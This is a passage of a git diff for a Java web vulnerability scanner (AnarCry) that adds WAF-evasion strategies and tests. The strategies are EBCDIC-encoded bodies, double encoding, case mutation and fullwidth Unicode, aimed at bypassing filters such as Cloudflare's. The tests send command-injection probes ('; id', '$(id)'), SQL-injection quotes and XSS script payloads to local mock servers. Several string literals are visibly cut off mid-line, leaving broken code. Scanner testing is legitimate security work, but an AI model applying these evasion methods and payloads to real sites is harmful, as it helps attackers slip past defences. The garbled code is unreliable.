+ encodedHtml; String payloadBody = fetchBody(ctx, hc, payloadUrl); String endpoint = path + "?" + param + "=" + encodedHtml; diff --git a/src/main/java/gg/effront/anarcry/scanner/web/xxe/XxeModule.java b/src/main/java/gg/effront/anarcry/scanner/web/xxe/XxeModule.java index 807ea22..ccc9abe 100644 --- a/src/main/java/gg/effront/anarcry/scanner/web/xxe/XxeModule.java +++ b/src/main/java/gg/effront/anarcry/scanner/web/xxe/XxeModule.java @@ -7,6 +7,7 @@ import gg.effront.anarcry.scanner.util.Http; import gg.effront.anarcry.scanner.util.TlsUtil; import gg.effront.anarcry.scanner.util.HttpClientFactory; +import gg.effront.anarcry.scanner.util.WafEvasion; import java.net.URI; import java.net.http.HttpClient; @@ -137,9 +138,18 @@ private static boolean isHtml(String body) { private String sendXml(ScanContext ctx, HttpClient hc, String url, String payload) { try { - HttpRequest req = HttpRequest.newBuilder().uri(URI.create(url)).timeout(Duration.ofSeconds(6)) - .header("Content-Type", "application/xml").POST(HttpRequest.BodyPublishers.ofString(payload)) - .build(); + HttpRequest req; + if (ctx.wafState().isWafDetected() + && ctx.wafState().effectiveStrategy() == WafEvasion.Strategy.CHARSET_EBCDIC) { + byte[] ebcdicBody = WafEvasion.encodeEbcdic(payload); + req = HttpRequest.newBuilder().uri(URI.create(url)).timeout(Duration.ofSeconds(6)) + .header("Content-Type", "application/xml; charset=ibm500") + .POST(HttpRequest.BodyPublishers.ofByteArray(ebcdicBody)).build(); + } else { + req = HttpRequest.newBuilder().uri(URI.create(url)).timeout(Duration.ofSeconds(6)) + .header("Content-Type", "application/xml").POST(HttpRequest.BodyPublishers.ofString(payload)) + .build(); + } HttpResponse resp = Http.send(ctx, hc, req, HttpResponse.BodyHandlers.ofString(), id()); if (resp.statusCode() == 200 && resp.body() != null) { return resp.body(); diff --git a/src/main/java/gg/effront/anarcry/tui/AnarCryTui.java b/src/main/java/gg/effront/anarcry/tui/AnarCryTui.java index d9dc809..141e496 100644 --- a/src/main/java/gg/effront/anarcry/tui/AnarCryTui.java +++ b/src/main/java/gg/effront/anarcry/tui/AnarCryTui.java @@ -1,5 +1,7 @@ package gg.effront.anarcry.tui; +import gg.effront.anarcry.Version; + import com.googlecode.lanterna.TerminalSize; import com.googlecode.lanterna.TextColor; import com.googlecode.lanterna.gui2.BasicWindow; @@ -145,7 +147,7 @@ public void start(EnvLoader env) throws IOException { } })); - logHistory.add("[*] AnarCry v1.3 -- pronto"); + logHistory.add("[*] " + Version.label() + " -- pronto"); logHistory.add("[*] Configure o alvo e pressione Iniciar para começar"); buildPanels(screen.getTerminalSize()); diff --git a/src/main/resources/version.properties b/src/main/resources/version.properties new file mode 100644 index 0000000..a50bf5c --- /dev/null +++ b/src/main/resources/version.properties @@ -0,0 +1 @@ +version=${version} diff --git a/src/test/java/gg/effront/anarcry/harness/CommandInjectionModuleTest.java b/src/test/java/gg/effront/anarcry/harness/CommandInjectionModuleTest.java new file mode 100644 index 0000000..290a8ec --- /dev/null +++ b/src/test/java/gg/effront/anarcry/harness/CommandInjectionModuleTest.java @@ -0,0 +1,261 @@ +package gg.effront.anarcry.harness; + +import static org.junit.jupiter.api.Assertions.*; + +import com.sun.net.httpserver.HttpServer; +import gg.effront.anarcry.model.Finding; +import gg.effront.anarcry.model.Severity; +import gg.effront.anarcry.scanner.ScanContext; +import gg.effront.anarcry.scanner.util.BrowserTransport; +import gg.effront.anarcry.scanner.web.cmdinject.CommandInjectionModule; + +import java.net.InetSocketAddress; +import java.net.URLDecoder; +import java.nio.charset.StandardCharsets; +import java.util.ArrayList; +import java.util.List; +import java.util.Set; +import java.util.function.Consumer; + +import org.junit.jupiter.api.MethodOrderer; +import org.junit.jupiter.api.Order; +import org.junit.jupiter.api.Test; +import org.junit.jupiter.api.TestMethodOrder; + +@TestMethodOrder(MethodOrderer.OrderAnnotation.class) +class CommandInjectionModuleTest { + + private static BrowserTransport stubBrowserTransport() { + return BrowserTransport.stub("stub.local"); + } + + private static HttpServer vulnerableServer() throws Exception { + HttpServer server = HttpServer.create(new InetSocketAddress("127.0.0.1", 0), 0); + server.createContext("/", exchange -> { + String query = exchange.getRequestURI().getRawQuery(); + byte[] body; + if (query != null) { + String decoded = URLDecoder.decode(query, StandardCharsets.UTF_8); + if (decoded.contains("; id") || decoded.contains("| id") || decoded.contains("|| id") + || decoded.contains("&& id") || decoded.contains("$(id)")) { + body = "uid=0(root) gid=0(root) groups=0(root)".getBytes(); + } else { + body = "ok".getBytes(); + } + } else { + body = "ok".getBytes(); + } + exchange.sendResponseHeaders(200, body.length); + exchange.getResponseBody().write(body); + exchange.getResponseBody().close(); + }); + return server; + } + + private static HttpServer cleanServer() throws Exception { + HttpServer server = HttpServer.create(new InetSocketAddress("127.0.0.1", 0), 0); + server.createContext("/", exchange -> { + byte[] body = "ok".getBytes(); + exchange.sendResponseHeaders(200, body.length); + exchange.getResponseBody().write(body); + exchange.getResponseBody().close(); + }); + return server; + } + + // ------------------------------------------------- + // Phase 1: active output-based detection + // ------------------------------------------------- + + @Test + @Order(1) + void cmdiActiveDetectedCritical() throws Exception { + HttpServer server = vulnerableServer(); + server.start(); + int port = server.getAddress().getPort(); + try { + ScanContext ctx = new ScanContext("http://127.0.0.1:" + port, "", Set.of("CmdInjection")); + List findings = new CommandInjectionModule().scan(ctx, msg -> System.out.println("[CmdI] " + msg)); + assertFalse(findings.isEmpty(), "Servidor com saida RCE deve gerar finding"); + assertTrue( + findings.stream().anyMatch( + f -> f.severity() == Severity.CRITICAL && f.title().toLowerCase().contains("command")), + "Active command injection deve gerar CRITICAL"); + assertTrue(findings.stream().anyMatch(f -> "CWE-78".equals(f.cweId())), + "CWE-78 deve estar presente no finding"); + } finally { + server.stop(0); + } + } + + @Test + @Order(2) + void cmdiCleanServerNoFinding() throws Exception { + HttpServer server = cleanServer(); + server.start(); + int port = server.getAddress().getPort(); + try { + ScanContext ctx = new ScanContext("http://127.0.0.1:" + port, "", Set.of("CmdInjection")); + List findings = new CommandInjectionModule().scan(ctx, msg -> { + }); + assertTrue(findings.isEmpty(), "Servidor limpo NAO deve gerar CmdInjection findings"); + } finally { + server.stop(0); + } + } + + // ------------------------------------------------- + // Anti-false-positive + // ------------------------------------------------- + + @Test + @Order(3) + void cmdiBaselineRceSkipsParam() throws Exception { + HttpServer server = HttpServer.create(new InetSocketAddress("127.0.0.1", 0), 0); + server.createContext("/", exchange -> { + byte[] body = "uid=1000(user) gid=1000(user)".getBytes(); + exchange.sendResponseHeaders(200, body.length); + exchange.getResponseBody().write(body); + exchange.getResponseBody().close(); + }); + server.start(); + int port = server.getAddress().getPort(); + try { + ScanContext ctx = new ScanContext("http://127.0.0.1:" + port, "", Set.of("CmdInjection")); + List logs = new ArrayList<>(); + List findings = new CommandInjectionModule().scan(ctx, logs::add); + assertTrue(findings.stream().noneMatch(f -> f.title().contains("confirmada")), + "Baseline com padrao RCE NAO deve gerar active finding (anti-FP)"); + assertTrue(logs.stream().anyMatch(l -> l.contains("baseline") && l.contains("RCE")), + "Deve logar que baseline contem padrao RCE"); + } finally { + server.stop(0); + } + } + + @Test + @Order(4) + void cmdi500ResponseNotFlagged() throws Exception { + HttpServer server = HttpServer.create(new InetSocketAddress("127.0.0.1", 0), 0); + server.createContext("/", exchange -> { + String query = exchange.getRequestURI().getRawQuery(); + byte[] body; + int status; + if (query != null && (query.contains("%3B") || query.contains("%7C"))) { + body = "uid=0(root)".getBytes(); + status = 500; + } else { + body = "ok".getBytes(); + status = 200; + } + exchange.sendResponseHeaders(status, body.length); + exchange.getResponseBody().write(body); + exchange.getResponseBody().close(); + }); + server.start(); + int port = server.getAddress().getPort(); + try { + ScanContext ctx = new ScanContext("http://127.0.0.1:" + port, "", Set.of("CmdInjection")); + List findings = new CommandInjectionModule().scan(ctx, msg -> { + }); + assertTrue(findings.stream().noneMatch(f -> f.title().contains("confirmada")), + "500 com saida RCE NAO deve gerar active finding (status >= 500 filtrado)"); + } finally { + server.stop(0); + } + } + + // ------------------------------------------------- + // BrowserTransport interaction: Phase 2 skip + // ------------------------------------------------- + + @Test + @Order(5) + void cmdiPhase2SkippedWhenBrowserTransportActive() throws Exception { + HttpServer server = cleanServer(); + server.start(); + int port = server.getAddress().getPort(); + try { + ScanContext ctx = new ScanContext("http://127.0.0.1:" + port, "", Set.of("CmdInjection")); + ctx.wafState().setBrowserTransport(stubBrowserTransport()); + + List logs = new ArrayList<>(); + List findings = new CommandInjectionModule().scan(ctx, logs::add); + + assertTrue(logs.stream().anyMatch(l -> l.contains("phase 2") && l.contains("desabilitada")), + "Deve logar que phase 2 (time-based) esta desabilitada com BrowserTransport"); + assertTrue(findings.isEmpty(), "Clean server com BT ativo nao deve gerar findings"); + } finally { + server.stop(0); + } + } + + @Test + @Order(6) + void cmdiPhase1WorksWithBrowserTransportActive() throws Exception { + HttpServer server = vulnerableServer(); + server.start(); + int port = server.getAddress().getPort(); + try { + ScanContext ctx = new ScanContext("http://127.0.0.1:" + port, "", Set.of("CmdInjection")); + ctx.wafState().setBrowserTransport(stubBrowserTransport()); + + List logs = new ArrayList<>(); + List findings = new CommandInjectionModule().scan(ctx, logs::add); + + assertTrue(logs.stream().anyMatch(l -> l.contains("phase 2") && l.contains("desabilitada")), + "Phase 2 deve estar desabilitada"); + assertFalse(findings.isEmpty(), "Phase 1 (active) deve funcionar mesmo com BT ativo"); + assertTrue(findings.stream().anyMatch(f -> f.severity() == Severity.CRITICAL), + "Active injection deve gerar CRITICAL mesmo com BT"); + } finally { + server.stop(0); + } + } + + @Test + @Order(7) + void cmdiPhase2SkipDoesNotAffectPhase1Accuracy() throws Exception { + HttpServer server = vulnerableServer(); + server.start(); + int port = server.getAddress().getPort(); + try { + // Without BrowserTransport + ScanContext ctx1 = new ScanContext("http://127.0.0.1:" + port, "", Set.of("CmdInjection")); + List without = new CommandInjectionModule().scan(ctx1, msg -> { + }); + + // With BrowserTransport + ScanContext ctx2 = new ScanContext("http://127.0.0.1:" + port, "", Set.of("CmdInjection")); + ctx2.wafState().setBrowserTransport(stubBrowserTransport()); + List with = new CommandInjectionModule().scan(ctx2, msg -> { + }); + + assertFalse(without.isEmpty(), "Sem BT deve detectar injection"); + assertFalse(with.isEmpty(), "Com BT deve detectar injection"); + assertTrue(without.stream().anyMatch(f -> f.severity() == Severity.CRITICAL), "Sem BT deve gerar CRITICAL"); + assertTrue(with.stream().anyMatch(f -> f.severity() == Severity.CRITICAL), "Com BT deve gerar CRITICAL"); + } finally { + server.stop(0); + } + } + + // ------------------------------------------------- + // Module metadata + // ------------------------------------------------- + + @Test + @Order(8) + void cmdiModuleId() { + assertEquals("CmdInjection", new CommandInjectionModule().id(), "id() deve retornar 'CmdInjection'"); + } + + @Test + @Order(9) + void cmdiCweRegistryEntry() { + assertEquals("CWE-78", gg.effront.anarcry.model.CweRegistry.cweId("CmdInjection"), + "CweRegistry deve ter CWE-78 para CmdInjection"); + assertTrue(gg.effront.anarcry.model.CweRegistry.cvssVector("CmdInjection").startsWith("AV:N"), + "CVSS vector para CmdInjection deve ser network-based"); + } +} diff --git a/src/test/java/gg/effront/anarcry/harness/Sprint18E2ETest.java b/src/test/java/gg/effront/anarcry/harness/Sprint18E2ETest.java index 1111865..11a6a00 100644 --- a/src/test/java/gg/effront/anarcry/harness/Sprint18E2ETest.java +++ b/src/test/java/gg/effront/anarcry/harness/Sprint18E2ETest.java @@ -9,6 +9,7 @@ import gg.effront.anarcry.scanner.DiscoveredPaths; import gg.effront.anarcry.scanner.ScanConfig; import gg.effront.anarcry.scanner.ScanContext; +import gg.effront.anarcry.scanner.util.WafState; import gg.effront.anarcry.scanner.ScanRunner; import gg.effront.anarcry.scanner.web.crawler.CrawlerModule; import gg.effront.anarcry.scanner.web.idor.IdorModule; @@ -340,7 +341,7 @@ void rateLimitingRespected() throws Exception { try { ScanConfig config = new ScanConfig(200, "", Set.of(), List.of(), ""); ScanContext ctx = new ScanContext("http://127.0.0.1:" + port, "", "", Set.of("Crawler"), config, r -> { - }, new DiscoveredPaths()); + }, new DiscoveredPaths(), new WafState()); new CrawlerModule().scan(ctx, msg -> { }); diff --git a/src/test/java/gg/effront/anarcry/harness/SqlInjectionModuleTest.java b/src/test/java/gg/effront/anarcry/harness/SqlInjectionModuleTest.java index afc7bc0..21843ce 100644 --- a/src/test/java/gg/effront/anarcry/harness/SqlInjectionModuleTest.java +++ b/src/test/java/gg/effront/anarcry/harness/SqlInjectionModuleTest.java @@ -4,10 +4,12 @@ import gg.effront.anarcry.model.Finding; import gg.effront.anarcry.model.Severity; import gg.effront.anarcry.scanner.ScanContext; +import gg.effront.anarcry.scanner.util.BrowserTransport; import gg.effront.anarcry.scanner.web.sqli.SqlInjectionModule; import org.junit.jupiter.api.*; import java.net.InetSocketAddress; +import java.util.ArrayList; import java.util.List; import java.util.Set; @@ -159,4 +161,75 @@ void sqliCweRegistryEntry() { assertTrue(gg.effront.anarcry.model.CweRegistry.cvssVector("SQLi").startsWith("AV:N"), "CVSS vector para SQLi deve ser network-based"); } + + // ------------------------------------------------- + // BrowserTransport interaction: Phase 2 skip + // ------------------------------------------------- + + private static BrowserTransport stubBrowserTransport() { + return BrowserTransport.stub("stub.local"); + } + + @Test + @Order(7) + void sqliPhase2SkippedWhenBrowserTransportActive() throws Exception { + HttpServer server = HttpServer.create(new InetSocketAddress("127.0.0.1", 0), 0); + server.createContext("/", exchange -> { + byte[] body = "ok".getBytes(); + exchange.sendResponseHeaders(200, body.length); + exchange.getResponseBody().write(body); + exchange.getResponseBody().close(); + }); + server.start(); + int port = server.getAddress().getPort(); + try { + ScanContext ctx = new ScanContext("http://127.0.0.1:" + port, "", Set.of("SQLi")); + ctx.wafState().setBrowserTransport(stubBrowserTransport()); + + List logs = new ArrayList<>(); + List findings = new SqlInjectionModule().scan(ctx, logs::add); + + assertTrue(logs.stream().anyMatch(l -> l.contains("BrowserTransport") && l.contains("time-based")), + "Deve logar que phase 2 (time-based) esta desabilitada com BrowserTransport"); + assertTrue(findings.isEmpty(), "Clean server com BT ativo nao deve gerar findings"); + } finally { + server.stop(0); + } + } + + @Test + @Order(8) + void sqliPhase1WorksWithBrowserTransportActive() throws Exception { + HttpServer server = HttpServer.create(new InetSocketAddress("127.0.0.1", 0), 0); + server.createContext("/", exchange -> { + String raw = exchange.getRequestURI().getRawQuery(); + byte[] body; + if (raw != null && (raw.contains("%27") || raw.contains("'"))) { + body = "You have an error in your SQL syntax; check the manual near '' at line 1".getBytes(); + } else { + body = "ok".getBytes(); + } + exchange.sendResponseHeaders(200, body.length); + exchange.getResponseBody().write(body); + exchange.getResponseBody().close(); + }); + server.start(); + int port = server.getAddress().getPort(); + try { + ScanContext ctx = new ScanContext("http://127.0.0.1:" + port, "", Set.of("SQLi")); + ctx.wafState().setBrowserTransport(stubBrowserTransport()); + + List logs = new ArrayList<>(); + List findings = new SqlInjectionModule().scan(ctx, logs::add); + + assertTrue(logs.stream().anyMatch(l -> l.contains("BrowserTransport")), "Phase 2 deve estar desabilitada"); + assertFalse(findings.isEmpty(), "Phase 1 (error-based) deve funcionar mesmo com BT ativo"); + assertTrue( + findings.stream().anyMatch( + f -> f.severity() == Severity.CRITICAL && f.title().toLowerCase().contains("sql")), + "Error-based SQLi deve gerar CRITICAL mesmo com BT"); + } finally { + server.stop(0); + } + } } diff --git a/src/test/java/gg/effront/anarcry/harness/WafHarnessTest.java b/src/test/java/gg/effront/anarcry/harness/WafHarnessTest.java new file mode 100644 index 0000000..e38ebbe --- /dev/null +++ b/src/test/java/gg/effront/anarcry/harness/WafHarnessTest.java @@ -0,0 +1,369 @@ +package gg.effront.anarcry.harness; + +import static org.junit.jupiter.api.Assertions.*; + +import com.sun.net.httpserver.HttpServer; +import gg.effront.anarcry.model.Finding; +import gg.effront.anarcry.model.Severity; +import gg.effront.anarcry.scanner.ScanContext; +import gg.effront.anarcry.scanner.crypto.headers.HeadersModule; +import gg.effront.anarcry.scanner.util.HttpClientFactory; +import gg.effront.anarcry.scanner.util.WafEvasion; +import gg.effront.anarcry.scanner.util.WafState; +import gg.effront.anarcry.scanner.web.sqli.SqlInjectionModule; +import java.net.InetSocketAddress; +import java.net.URI; +import java.net.http.HttpClient; +import java.net.http.HttpRequest; +import java.net.http.HttpResponse; +import java.util.List; +import java.util.Set; +import java.util.concurrent.CountDownLatch; +import java.util.concurrent.TimeUnit; +import java.util.concurrent.atomic.AtomicReference; +import org.junit.jupiter.api.MethodOrderer; +import org.junit.jupiter.api.Order; +import org.junit.jupiter.api.Test; +import org.junit.jupiter.api.TestMethodOrder; + +/** + * Integration tests for WAF evasion using a mock WAF server. Tests verify that + * evasion strategies bypass basic WAF string-matching rules. + */ +@TestMethodOrder(MethodOrderer.OrderAnnotation.class) +class WafHarnessTest { + + /** + * Creates a mock WAF HTTP server that blocks requests containing known attack + * patterns in query string or body. Unblocked requests get the decoded query or + * body echoed back. + */ + private static HttpServer createMockWafServer() throws Exception { + HttpServer server = HttpServer.create(new InetSocketAddress("127.0.0.1", 0), 0); + server.createContext("/", exchange -> { + String query = exchange.getRequestURI().getRawQuery(); + String body = new String(exchange.getRequestBody().readAllBytes()); + String serverHeader = "cloudflare"; + + // Decode query once (real WAFs inspect decoded params) + String decodedQuery = ""; + if (query != null) { + try { + decodedQuery = java.net.URLDecoder.decode(query, "UTF-8"); + } catch (Exception e) { + decodedQuery = query; + } + } + + // WAF logic: block if decoded query or body contains known attack patterns + boolean blocked = false; + String combined = decodedQuery + body; + if (combined.contains(""); + String wireEncoded = java.net.URLEncoder.encode(transformed, "UTF-8"); + HttpRequest req = HttpRequest.newBuilder() + .uri(URI.create("http://127.0.0.1:" + port + "/?q=" + wireEncoded)).GET().build(); + HttpResponse resp = hc.send(req, HttpResponse.BodyHandlers.ofString()); + assertEquals(200, resp.statusCode(), + "WAF nao deve bloquear payload double-encoded, got " + resp.statusCode()); + } finally { + server.stop(0); + } + } + + // ------------------------------------------------- + // 3. WAF passes case-mutated payload + // ------------------------------------------------- + + @Test + @Order(3) + void wafPassesCaseMutatedPayload() throws Exception { + HttpServer server = createMockWafServer(); + server.start(); + int port = server.getAddress().getPort(); + try { + HttpClient hc = HttpClientFactory.http2(); + String mutated = WafEvasion.mutateCase("SELECT * FROM users"); + // The mock WAF checks for exact "SELECT" -- case mutation should bypass it + HttpRequest req = HttpRequest.newBuilder() + .uri(URI.create("http://127.0.0.1:" + port + "/?q=" + java.net.URLEncoder.encode(mutated, "UTF-8"))) + .GET().build(); + HttpResponse resp = hc.send(req, HttpResponse.BodyHandlers.ofString()); + assertEquals(200, resp.statusCode(), + "WAF nao deve bloquear payload case-mutated '" + mutated + "', got " + resp.statusCode()); + } finally { + server.stop(0); + } + } + + // ------------------------------------------------- + // 4. WafState is shared and visible across threads + // ------------------------------------------------- + + @Test + @Order(4) + void wafStateSharedAcrossModules() throws Exception { + WafState state = new WafState(); + CountDownLatch latch = new CountDownLatch(1); + AtomicReference visibleFromOtherThread = new AtomicReference<>(false); + AtomicReference productFromOtherThread = new AtomicReference<>(""); + + // Mark WAF detected from main thread + state.markWafDetected("cloudflare"); + + // Read from another thread + Thread reader = new Thread(() -> { + visibleFromOtherThread.set(state.isWafDetected()); + productFromOtherThread.set(state.wafProduct()); + latch.countDown(); + }); + reader.start(); + assertTrue(latch.await(5, TimeUnit.SECONDS), "Thread deve completar em 5s"); + + assertTrue(visibleFromOtherThread.get(), "WafState.isWafDetected() deve ser visivel de outra thread"); + assertEquals("cloudflare", productFromOtherThread.get(), + "WafState.wafProduct() deve ser visivel de outra thread"); + } + + // ------------------------------------------------- + // 5. probeStrategies finds an effective strategy + // ------------------------------------------------- + + @Test + @Order(5) + void probeStrategiesFindsEffective() throws Exception { + HttpServer server = createMockWafServer(); + server.start(); + int port = server.getAddress().getPort(); + try { + ScanContext ctx = new ScanContext("http://127.0.0.1:" + port, "", Set.of()); + HttpClient hc = HttpClientFactory.http2(); + WafEvasion.Strategy strategy = WafEvasion.probeStrategies(ctx, hc, "http://127.0.0.1:" + port, "test", + msg -> { + }); + assertNotNull(strategy, "probeStrategies deve encontrar uma estrategia efetiva contra o mock WAF"); + // DOUBLE_ENCODE should be found first since mock WAF only does exact string + // matching + assertEquals(WafEvasion.Strategy.DOUBLE_ENCODE, strategy, + "DOUBLE_ENCODE deve ser a primeira estrategia efetiva encontrada"); + } finally { + server.stop(0); + } + } + + // ------------------------------------------------- + // 6. Full evasion flow integration + // ------------------------------------------------- + + @Test + @Order(6) + void evasionPayloadIntegration() throws Exception { + HttpServer server = createMockWafServer(); + server.start(); + int port = server.getAddress().getPort(); + try { + // Step 1: verify WAF blocks raw payload + HttpClient hc = HttpClientFactory.http2(); + HttpRequest rawReq = HttpRequest.newBuilder() + .uri(URI.create("http://127.0.0.1:" + port + "/?q=%3Cscript%3Ealert(1)%3C/script%3E")).GET() + .build(); + HttpResponse rawResp = hc.send(rawReq, HttpResponse.BodyHandlers.ofString()); + assertEquals(403, rawResp.statusCode(), "Raw payload deve ser bloqueado"); + + // Step 2: detect WAF from the response + String serverHdr = rawResp.headers().firstValue("Server").orElse(null); + assertTrue(WafEvasion.isWafBlocked(rawResp.statusCode(), serverHdr, rawResp.body()), + "isWafBlocked deve retornar true para resposta do mock WAF"); + String product = WafEvasion.detectWafProduct(serverHdr); + assertFalse(product.isEmpty(), "Deve detectar produto WAF do header Server"); + + // Step 3: probe strategies + ScanContext ctx = new ScanContext("http://127.0.0.1:" + port, "", Set.of()); + ctx.wafState().markWafDetected(product); + WafEvasion.Strategy strategy = WafEvasion.probeStrategies(ctx, hc, "http://127.0.0.1:" + port, "test", + msg -> { + }); + assertNotNull(strategy, "Deve encontrar estrategia efetiva"); + ctx.wafState().markEffectiveStrategy(strategy); + + // Step 4: use evasionPayload to transform and verify bypass + String payload = ""; + String evaded = WafEvasion.evasionPayload(ctx, payload); + assertNotEquals(payload, evaded, "Payload deve ser transformado"); + + // evasionPayload returns transformed form; URLEncode completes wire encoding + String wireEncoded = java.net.URLEncoder.encode(evaded, "UTF-8"); + HttpRequest evadedReq = HttpRequest.newBuilder() + .uri(URI.create("http://127.0.0.1:" + port + "/?q=" + wireEncoded)).GET().build(); + HttpResponse evadedResp = hc.send(evadedReq, HttpResponse.BodyHandlers.ofString()); + assertEquals(200, evadedResp.statusCode(), + "Payload transformado deve passar pelo WAF, got " + evadedResp.statusCode()); + } finally { + server.stop(0); + } + } + + // ------------------------------------------------- + // 7. HeadersModule detects WAF and sets wafState + // ------------------------------------------------- + + @Test + @Order(7) + void headersModuleDetectsWafAndSetsState() throws Exception { + // Server that returns 403 + Server: cloudflare (simulates WAF blocking) + HttpServer server = HttpServer.create(new InetSocketAddress("127.0.0.1", 0), 0); + server.createContext("/", exchange -> { + exchange.getResponseHeaders().set("Server", "cloudflare"); + byte[] body = "Access Denied".getBytes(); + exchange.sendResponseHeaders(403, body.length); + exchange.getResponseBody().write(body); + exchange.getResponseBody().close(); + }); + server.start(); + int port = server.getAddress().getPort(); + try { + ScanContext ctx = new ScanContext("http://127.0.0.1:" + port, "", Set.of("Headers")); + List findings = new HeadersModule().scan(ctx, msg -> System.out.println("[Headers-WAF] " + msg)); + + // HeadersModule should produce findings (missing security headers) + // NOTE: this test assumes HeadersModule will be updated to call + // ctx.wafState().markWafDetected() when it sees a WAF server header. + // If that integration is not done yet, the wafState assertion will fail -- + // expected. + assertTrue(ctx.wafState().isWafDetected(), + "HeadersModule deve marcar wafState como WAF detectado ao ver Server: cloudflare"); + assertEquals("cloudflare", ctx.wafState().wafProduct(), "wafProduct deve ser 'cloudflare'"); + } finally { + server.stop(0); + } + } + + // ------------------------------------------------- + // 8. SQLi module bypasses WAF with evasion + // ------------------------------------------------- + + @Test + @Order(8) + void sqliModuleBypassesWafWithEvasion() throws Exception { + // Mock WAF server that blocks raw SQL keywords but returns SQL error + // on double-encoded payloads (simulates a vulnerable app behind a WAF) + HttpServer server = HttpServer.create(new InetSocketAddress("127.0.0.1", 0), 0); + server.createContext("/", exchange -> { + String query = exchange.getRequestURI().getRawQuery(); + String combined = query != null ? query : ""; + String serverHeader = "cloudflare"; + + // WAF: block raw SQL keywords + if (combined.contains("'") || combined.contains("SELECT") || combined.contains("UNION") + || combined.contains("OR+1")) { + exchange.getResponseHeaders().set("Server", serverHeader); + byte[] resp = "Access Denied".getBytes(); + exchange.sendResponseHeaders(403, resp.length); + exchange.getResponseBody().write(resp); + exchange.getResponseBody().close(); + return; + } + + // If double-encoded single-quote (%2527) is present, simulate SQL error + // (the app decodes once, WAF already passed it) + if (combined.contains("%2527") || combined.contains("%25")) { + byte[] resp = "You have an error in your SQL syntax; check the manual near '' at line 1".getBytes(); + exchange.getResponseHeaders().set("Server", serverHeader); + exchange.sendResponseHeaders(200, resp.length); + exchange.getResponseBody().write(resp); + exchange.getResponseBody().close(); + return; + } + + // Normal response + byte[] resp = "ok".getBytes(); + exchange.getResponseHeaders().set("Server", serverHeader); + exchange.sendResponseHeaders(200, resp.length); + exchange.getResponseBody().write(resp); + exchange.getResponseBody().close(); + }); + server.start(); + int port = server.getAddress().getPort(); + try { + ScanContext ctx = new ScanContext("http://127.0.0.1:" + port, "", Set.of("SQLi")); + // Pre-configure WAF state (as if HeadersModule or probe already ran) + ctx.wafState().markWafDetected("cloudflare"); + ctx.wafState().markEffectiveStrategy(WafEvasion.Strategy.DOUBLE_ENCODE); + + // NOTE: this test assumes SqlInjectionModule will be updated to use + // WafEvasion.evasionPayload() for payload transformation. + // If that integration is not done yet, this test will fail -- expected + // (test-first). + List findings = new SqlInjectionModule().scan(ctx, msg -> System.out.println("[SQLi-WAF] " + msg)); + + assertFalse(findings.isEmpty(), + "SQLi module deve detectar SQL injection mesmo atras de WAF usando evasion"); + assertTrue( + findings.stream().anyMatch( + f -> f.severity() == Severity.CRITICAL && f.title().toLowerCase().contains("sql")), + "Error-based SQLi com evasion deve gerar CRITICAL"); + assertTrue(findings.stream().anyMatch(f -> "CWE-89".equals(f.cweId())), + "CWE-89 deve estar presente no finding"); + } finally { + server.stop(0); + } + } +} diff --git a/src/test/java/gg/effront/anarcry/scanner/util/WafEvasionTest.java b/src/test/java/gg/effront/anarcry/scanner/util/WafEvasionTest.java new file mode 100644 index 0000000..280672a --- /dev/null +++ b/src/test/java/gg/effront/anarcry/scanner/util/WafEvasionTest.java @@ -0,0 +1,451 @@ +package gg.effront.anarcry.scanner.util; + +import static org.junit.jupiter.api.Assertions.*; + +import gg.effront.anarcry.scanner.ScanContext; +import java.net.http.HttpRequest; +import java.nio.charset.Charset; +import java.util.List; +import java.util.Map; +import java.net.URLEncoder; +import java.util.Set; +import org.junit.jupiter.api.MethodOrderer; +import org.junit.jupiter.api.Order; +import org.junit.jupiter.api.Test; +import org.junit.jupiter.api.TestMethodOrder; + +/** + * Unit tests for WafEvasion strategy implementations -- no network required. + */ +@TestMethodOrder(MethodOrderer.OrderAnnotation.class) +class WafEvasionTest { + + // ------------------------------------------------- + // DOUBLE_ENCODE + // ------------------------------------------------- + + @Test + @Order(1) + void doubleEncodeTransforms() { + String result = WafEvasion.doubleEncode(""; + + // DOUBLE_ENCODE routes to doubleEncode + String de = WafEvasion.applyGetStrategy(WafEvasion.Strategy.DOUBLE_ENCODE, payload); + assertEquals(WafEvasion.doubleEncode(payload), de, "DOUBLE_ENCODE deve rotear para doubleEncode()"); + + // CASE_MUTATION routes to mutateCase + String cm = WafEvasion.applyGetStrategy(WafEvasion.Strategy.CASE_MUTATION, payload); + assertEquals(WafEvasion.mutateCase(payload), cm, "CASE_MUTATION deve rotear para mutateCase()"); + + // UNICODE_NORMALIZE routes to toFullwidth + String un = WafEvasion.applyGetStrategy(WafEvasion.Strategy.UNICODE_NORMALIZE, payload); + assertEquals(WafEvasion.toFullwidth(payload), un, "UNICODE_NORMALIZE deve rotear para toFullwidth()"); + + // CHARSET_EBCDIC is not GET-compatible -- returns payload unchanged + String eb = WafEvasion.applyGetStrategy(WafEvasion.Strategy.CHARSET_EBCDIC, payload); + assertEquals(payload, eb, "CHARSET_EBCDIC nao e compativel com GET, deve retornar payload inalterado"); + } + + // ------------------------------------------------- + // isWafBlocked detection + // ------------------------------------------------- + + @Test + @Order(9) + void isWafBlockedDetectsCf() { + assertTrue(WafEvasion.isWafBlocked(403, "cloudflare", ""), + "403 + cloudflare server header deve ser detectado como WAF block"); + } + + @Test + @Order(10) + void isWafBlockedDetectsAkamai() { + assertTrue(WafEvasion.isWafBlocked(403, "AkamaiGHost", ""), + "403 + akamai server header deve ser detectado como WAF block"); + } + + @Test + @Order(11) + void isWafBlockedFalseOn200() { + assertFalse(WafEvasion.isWafBlocked(200, "cloudflare", ""), + "200 nao deve ser detectado como WAF block independente do header"); + assertFalse(WafEvasion.isWafBlocked(200, "AkamaiGHost", ""), + "200 nao deve ser detectado como WAF block independente do header"); + } + + @Test + @Order(12) + void isWafBlockedDetectsBodySignature() { + assertTrue(WafEvasion.isWafBlocked(403, null, "Access Denied"), + "403 + null server + body 'Access Denied' deve ser detectado como WAF block"); + } + + // ------------------------------------------------- + // detectWafProduct + // ------------------------------------------------- + + @Test + @Order(13) + void detectWafProductExtractsName() { + String product = WafEvasion.detectWafProduct("cloudflare"); + assertNotNull(product, "Produto nao deve ser null"); + assertTrue(product.toLowerCase().contains("cloudflare"), + "Deve extrair 'cloudflare' do header, got: " + product); + } + + @Test + @Order(14) + void detectWafProductEmptyOnUnknown() { + String product = WafEvasion.detectWafProduct("nginx"); + assertNotNull(product, "Produto nao deve ser null"); + assertEquals("", product, "nginx nao e um WAF conhecido, deve retornar vazio"); + } + + // ------------------------------------------------- + // buildEbcdicPost + // ------------------------------------------------- + + @Test + @Order(15) + void 